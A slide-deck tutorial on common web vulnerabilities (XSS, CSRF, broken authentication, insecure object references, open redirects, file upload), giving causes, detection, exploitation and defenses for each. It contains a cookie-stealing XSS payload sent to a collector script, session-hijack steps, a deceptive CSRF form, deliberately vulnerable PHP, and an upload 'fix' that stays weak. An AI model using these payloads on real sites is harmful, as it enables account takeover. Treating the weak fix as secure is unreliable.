  • 61. CROSS SITE SCRIPTING  This vulnerability also known as XSS.  XSS vulnerability is dangerous vulnerability which is harm for clients. That is, it is a client side attacking vulnerability.  Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites.  XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.  Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
  • 62. CROSS SITE SCRIPTING: DAWN  Cross-Site Scripting (XSS) attacks occur when:  Data enters a Web application through an untrusted source, most frequently a web request.  The data is included in dynamic content that is sent to a web user without being validated for malicious content.  The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute.  The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
  • 63. CROSS SITE SCRIPTING: DAWN  Stored and Reflected XSS Attacks  XSS attacks can generally be categorized into two categories: stored and reflected.  Stored XSS Attacks  Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc.  The victim then retrieves the malicious script from the server when it requests the stored information.  Stored XSS is also sometimes referred to as Persistent or Type-I XSS.
  • 64. CROSS SITE SCRIPTING: DAWN  Reflected XSS Attacks  Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.  Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site.  When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser.  The browser then executes the code because it came from a "trusted" server.  Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.
  • 65. CROSS SITE SCRIPTING: DAWN  Example: <?php session_start(); if(!$_SESSION['name']){ $_SESSION['name']=$_GET['name']; } echo "Hello, ".$_SESSION['name']."<br />"; echo 'You searched: '.$_GET['q']; ?>  In this example, the query is directly showing in the webpage without any validation. So, this webpage is vulnerable to XSS.
  • 66. CROSS SITE SCRIPTING: DETECTION  XSS flaws can be difficult to identify and remove from a web application.  The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output.  Note that a variety of different HTML tags can be used to transmit a malicious JavaScript.  Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.  Simply the XSS vulnerabilities are detected by injecting simple script to it and check whether the script is executed or not.  Normally, an alert() function is injected.  Example. http://site.com/xss.php?name=Ajith&q=<script>alert(‘Ajith’);</script>
  • 68. CROSS SITE SCRIPTING: EXPLOITATION  The exploitation of XSS vulnerability is done by injecting malicious script code into it.  Normally XSS vulnerability is used to highjack cookies of users.  Now, let’s redirect the user to a malicious script which stores cookie value. To get cookie, inject the script: <script>location.href='http://localhost/ajith/cookie.php?cookie='+docume nt.cookie;</script>  In URL Encoded form. That is, %3Cscript%3Elocation.href%3D%27http%3A%2F%2Flocalhost%2Fajith%2F cookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E
  • 69. CROSS SITE SCRIPTING: EXPLOITATION  After visiting the script injected page, the user redirects to malicious page.  The malicious page have captured the session cookie of user.
  • 70. CROSS SITE SCRIPTING: EXPLOITATION  The next step is cookie poisoning. The Cookies add-ons of Google Chrome is used to edit cookie.  Cookie poisoning: Editing session cookie of intruder with the session cookie value of victim (user).  That is hkjeeiht0o2mm9g5ssa2fnadi5 with n4u6llvn311fctco07918i58b4.
  • 71. CROSS SITE SCRIPTING: EXPLOITATION  Hacker/Cracker’s session.  His session says his name is `Vishnu`.
  • 72. CROSS SITE SCRIPTING: EXPLOITATION  Cookie poisoning step.  Change value of session cookie PHPSESSIONID ‘s value hkjeeiht0o2mm9g5ssa2fnadi 5 with n4u6llvn311fctco07918i58b4.
  • 73. CROSS SITE SCRIPTING: EXPLOITATION  After cookie poisoning, refresh webpage.  Now the session says the user is `Ajith`.  That is hacker/cracker have successfully exploited XSS vulnerability.
  • 74. CROSS SITE SCRIPTING: DEFENSE  Defense against XSS is good coding approaches, that is, do not allow injecting untrusted data into the webpage.  Never Insert Untrusted Data Except in Allowed Locations  Untrusted data must not be shown in webpage directly. It will lead to XSS vulnerability. <script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script <!--...NEVER PUT UNTRUSTED DATA HERE...--> inside an HTML comment <div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name <NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name <style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS
  • 75. CROSS SITE SCRIPTING: DEFENSE (Cont.)  HTML Escape Before Inserting Untrusted Data into HTML Element Content  The another method to prevent XSS vulnerability is escape the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. In addition to the 5 characters significant in XML (&, <, >, ", '), the forward slash is included as it helps to end an HTML entity. & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27; / --> &#x2F;  If the untrusted data are escaped, we can prevent XSS vulnerability successfully.  In PHP the function htmlspecialchars() is used to escape the untrusted data.
  • 76. CROSS SITE SCRIPTING: DEFENSE (Cont.)  The secured code of above XSS vulnerable example is, <?php session_start(); if(!$_SESSION['name']){ $_SESSION['name']=htmlspecialchars($_GET['name']); } echo "Hello, ".$_SESSION['name']."<br />"; echo 'You searched: '.htmlspecialchars($_GET['q']); ?>
  • 77. CROSS SITE SCRIPTING: DEFENSE (Cont.)  After encoding the character before showing in webpage.  The injection of script is failed here.
  • 78. CROSS SITE REQUEST FORGERY SUBMIT ANY FORM DATA YOU PREFER
  • 79. CROSS SITE REQUEST FORGERY  Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.  CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.  With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing.  If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth.  If the victim is an administrative account, CSRF can compromise the entire web application.
  • 80. CROSS SITE REQUEST FORGERY: DAWN  The reason behind CSRF is accepting non validated data requests received.  Most of developers are unaware of CSRF because it is not a popular vulnerability among other dangerous vulnerabilities.  Because, the hacker/cracker cannot get access to server nor client, but can do some jobs by the client in server.  This vulnerability will become most dangerous when the websites like online banking, online market, etc. websites are vulnerable to CSRF.  The hacker/cracker can transfer money or buy thing using the CSRF vulnerability.
  • 81. CROSS SITE REQUEST FORGERY: DAWN (Cont.)  Sample webpage code which is vulnerable to CSRF. <?php session_start(); if($_SESSION['name']){ ?> <form method="post" action="?"> <textarea name='msg'></textarea><br/> <input type="submit" value="send" /> </form> <?php } if(isset($_REQUEST['msg'])){ echo $_SESSION['name'].": ".$_REQUEST['msg']; } ?>
  • 82. CROSS SITE REQUEST FORGERY: DAWN (Cont.)
  • 83. CROSS SITE REQUEST FORGERY: DETECTION  The CSRF can be detect by sending requests created manually to the preferred webpage.  If the webpage responds to the request, the webpage is vulnerable to CSRF.  To check this, we can use Live HTTP Headers, an add-ons of Mozilla Firefox.  The tool is very popular among hackers/crackers because altering headers are important steps in many vulnerability exploitations.
  • 84. CROSS SITE REQUEST FORGERY: DETECTION (Cont.)  Before altering message using Live HTTP Header.
  • 85. CROSS SITE REQUEST FORGERY: DETECTION (Cont.)  After altering message through Live HTTP Headers.  Successfully send new data through the Live HTTP Headers and the webpage respond to the data we have send.
  • 86. CROSS SITE REQUEST FORGERY: EXPLOITATION  Most commonly the exploitations are done by cheating clients by hiding forms, or automatic form submitter. A sample malicious code which will submit message to the above form is bellow, <html> <header> <title>Get Avast! Key</title> </header> <body> <form method="post" action="http://localhost/ajith/csrf.php"> <input name="msg" type="hidden" value="I hacked you" /> <input type="submit" value="Generate Avast! Key" /> </form> </body> </html>
  • 87. CROSS SITE REQUEST FORGERY: EXPLOITATION (Cont.)  It is fake page which says it will give you Avast! Antivirus serial key.  But really, if you click the button the hidden form will submit to the page csrf.php page.  Also notice that, the form is not in the same domain where csrf.php lies.
  • 88. CROSS SITE REQUEST FORGERY: EXPLOITATION (Cont.)  The victim have submitted the form with message `I hacked you` without concern of victim.  The CSRF vulnerability will become more malicious when the website is of online banking or online trading.
  • 89. CROSS SITE REQUEST FORGERY: DEFENSE  The defense of CSRF is done by following ways.  Using a secret cookie  Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request.  Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object.  The session identifier does not verify that the end-user intended to submit the request.  Only accepting POST requests  Applications can be developed to only accept POST requests for the execution of business logic.  The misconception is that since the attacker cannot construct a malicious POST request, a CSRF attack cannot be executed: Unfortunately, this logic is incorrect.  There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted on the attacker's website composed entirely of hidden fields.  This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.
  • 90. CROSS SITE REQUEST FORGERY: DEFENSE (Cont.)  Use GET requests only for retrieve data, not for manipulate any data in server  The GET requests can be come from any website because it will be shown I URL bar of web browser and can be copy to share.  So, use the GET requests only for retrieve data and not used for manipulate any data stored in server.  Server side protection  Another defending way is use WAF (Web Application Firewall) to verify the requests came to server.  Today most of frameworks provide the CSRF security. The framework like Code Igniter (PHP), Ruby on Rails (Ruby), Django (Python) provides security against CSRF.
  • 92. BROKEN AUTHENTICATION AND SESSION MANAGEMENT  Broken authentication and session management is common vulnerabilities that appears on applications developed by newbie developers.  Commonly this type of vulnerabilities arise when the developer authenticates user only on the login page and in other pages forgets to verify the user.
  • 93. BROKEN AUTHENTICATION AND SESSION MANAGEMENT: DAWN  The broken authentication and session management is arise due to development of application by inexperience developers and also due to provide authentication in important pages.  Also another important weakness is improper session management. If the sessions are showing in public, like showing it in URL also will lead to broken authentication.  A common example of broken authentication is, in a website of project management system, manager can login through login_manager.php, and after login he will redirect to home_manager.php.  The developer verifies username and password in the page login_manager.php and if login successful, he will redirect to home_manager.php, where he avoids verification of user who opened the page.  That enables anyone can open home_manager.php page directly without login.  The broken authentication and session management will become more dangerous when the page which does not verify the user have right to upload new files and edit data stored in server.
  • 94. BROKEN AUTHENTICATION AND SESSION MANAGEMENT: DETECTION  Very easy to identify.  Check whether the page which will open only after login can open directly without login.
  • 95. BROKEN AUTHENTICATION AND SESSION MANAGEMENT: EXPLOITATION  The exploitation have the same step of detection.  If the intruder can open the sensitive important webpage without login, he can manage or get information stored in that webpage.  Also, if that page allows to edit, delete, create or upload data the vulnerability will become evil.
  • 96. BROKEN AUTHENTICATION AND SESSION MANAGEMENT: DEFENSE  Defense for the broken authentication and session management is good development practices.  If authentication needed, provide authentication procedure and if any unauthenticated request to the webpage comes avoid responding to the requests.  Also handle the sessions with care.  Do not make session values public, if it shows in public, the sessions may high jacked just like showed in exploitation of XSS.
  • 97. INSECURE DIRECT OBJECT REFERENCE  Insecure direct object reference can be originate in many ways.  One of the example of insecure direct object reference including page referred by query.  We have discussed about file inclusion vulnerability which is an example of insecure direct object reference.  Another example of insecure direct object reference is cross site scripting (XSS).
  • 98. INSECURE DIRECT OBJECT REFERENCE: DAWN  The insecure direct object reference vulnerability is originates because of improper programming practices.  The developer must not use the objects directly for sensitive purposes.  While talking about file inclusion, the vulnerability is occurred because of including file directly from the query.  Like that when using direct objects the developer must consider all probabilities of misusing it.
  • 99. INSECURE DIRECT OBJECT REFERENCE: DAWN(Cont.)  Example code: <?php $user = $_GET['user']; $conn = new mysqli("localhost", "root", "", "items"); $st = $conn->prepare("SELECT * FROM users where uname = ?"); $st->bind_param("s", $user); $st->execute(); $st->bind_result($uname, $name, $address); while($st->fetch()){ echo "Hello, ".$name."<br/>Your username is ".$uname."<br/>Address is ".$address; } $conn->close(); ?>  Here the username is taking directly without verifying the user.
  • 100. INSECURE DIRECT OBJECT REFERENCE: DAWN(Cont.)  Here, the username is referenced directly from query without verifying the user.
  • 101. INSECURE DIRECT OBJECT REFERENCE: EXPLOITATION  The exploitation of insecure direct object reference vulnerability is done by changing the values of direct objects and if the webpage responds with direct object’s values maliciously, the vulnerability may cause data expose and like file inclusion vulnerabilities will cause getting access to server.  The above example can be exploit using change the query `name` ’s value.
  • 102. INSECURE DIRECT OBJECT REFERENCE: EXPLOITATION (Cont.)  After altering the query value of user, the hacker/cracker have opened the user account of another user.  The above process is done without any validation.
  • 104. UNVALIDATED REDIRECTS AND FORWARDS  This is not a serious vulnerability to the server, but it may tricked to the users by phishing, cheating forms, etc.  So, the developer must care about unvalidated redirects and forwards.
  • 105. UNVALIDATED REDIRECTS AND FORWARDS: DAWN  Like other vulnerability this vulnerability too appears because of improper development practices.  This is another example of insecure direct object reference. Because the univalidated redirection occurs because of hacker/cracker can include the redirecting path directly to the webpage through queries.  Example: <?php $url = $_GET['url']; header("Location: $url"); ?>  The above example webpage code will redirect the user to the webpage specified by the query `url` without any validations.
  • 106. UNVALIDATED REDIRECTS AND FORWARDS: EXPLOITATION  The unvalidated redirections and forwards can be exploited by redirecting user to the phishing page or any other malicious webpages.  In the above example we can redirect the user by giving link, http://www.site.com/redirect.php?url=http://malicioussite.com/maliciousp age.php  If the user opened the above URL, the user will redirect without any validation, to the page http://malicioussite.com/maliciouspage.php.
  • 107. UNVALIDATED REDIRECTS AND FORWARDS: DEFENSE  The defense against unvalidated redirects and forwards are just provide validation procedure before redirected to the webpage.  The access checking is better way to validate the redirection URL. Before redirect check to ensure the user is authorized for the requested object.  Also we can use the same mechanism we have used to defend CSRF vulnerability, that is, use a token to verify the real user is requested the redirection.
  • 109. ARBITRARY FILE UPLOAD  This vulnerability also known as unrestricted file upload vulnerability.  Uploaded files represent a significant risk to applications.  The first step in many attacks is to get some code to the system to be attacked.  Then the attack only needs to find a way to get the code executed.  Using a file upload helps the attacker accomplish the first step.  The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, and simple defacement.  It depends on what the application does with the uploaded file and especially where it is stored.
  • 110. ARBITRARY FILE UPLOAD (Cont.)  There are really two classes of problems here. The first is with the file metadata, like the path and file name.  These are generally provided by the transport, such as HTTP multi-part encoding.  This data may trick the application into overwriting a critical file or storing the file in a bad location.  You must validate the metadata extremely carefully before using it.
  • 111. ARBITRARY FILE UPLOAD: DAWN  The vulnerability arise due to allow users to upload any type of files without any validations.  Example: <form method="POST" enctype="multipart/form-data"> <input type="file" name="ufile" /> <input type="submit" name="upl" value="UPLOAD" /> </form> <?php if(isset($_REQUEST['upl'])){ if(move_uploaded_file($_FILES['ufile']['tmp_name'], $_FILES['ufile']['name'])){ echo "You have uploaded: ".$_FILES['ufile']['name']; } } ?>
  • 112. ARBITRARY FILE UPLOAD: EXPLOITATION  The exploitation of this vulnerability include uploading files which can be used to attack the platforms like PHP, JSP, ASP, etc.  That is upload the RATs. Also, the hacker/cracker can upload malicious executable files like Trojans and can made users to download and execute the Trojans.  Attacks on application platform  Upload .php file into web tree – php code executed as web user  Upload .gif to be resized - image library flaw exploited  Upload huge files - file space denial of service  Upload file using malicious path or name - overwrite critical file  Upload file containing personal data - other users access it  Upload file containing "tags" - tags get executed as part of being "included" in a web page
  • 113. ARBITRARY FILE UPLOAD: EXPLOITATION(Cont.)  Attacks on other systems  Upload .exe file into web tree - victims download trojaned executable  Upload virus infected file - victims' machines infected  Upload .html file containing script - victim experiences Cross-site Scripting (XSS)
  • 114. ARBITRARY FILE UPLOAD: DEFENSE  The defense can be done by validate the uploaded files. Validate the uploaded files including extension and size.  Also, the checking of metadata will prevent some bypass techniques.  Example: <form method="POST" enctype="multipart/form-data"> <input type="file" name="ufile" /> <input type="submit" name="upl" value="UPLOAD" /> </form> <?php if(isset($_REQUEST['upl'])){ $check = getimagesize($_FILES["ufile"]["tmp_name"]); if($check!=false){ if(move_uploaded_file($_FILES['ufile']['tmp_name'], $_FILES['ufile']['name'])){
  • 115. ARBITRARY FILE UPLOAD: DEFENSE (Cont.) echo "You have uploaded: ".$_FILES['ufile']['name']; } } else{ echo "Error: Upload images"; } } ?>  The above code checks the uploaded file is real image by reading the image size. If image size is found, we can declare it is an image is going to upload.  That means, only image can upload.
  • 116. THE END… PREPARED BY AJITH KP ( AJITHKP560@GMAIL.COM / R00T3DINJ3CT0R@GMAIL.COM )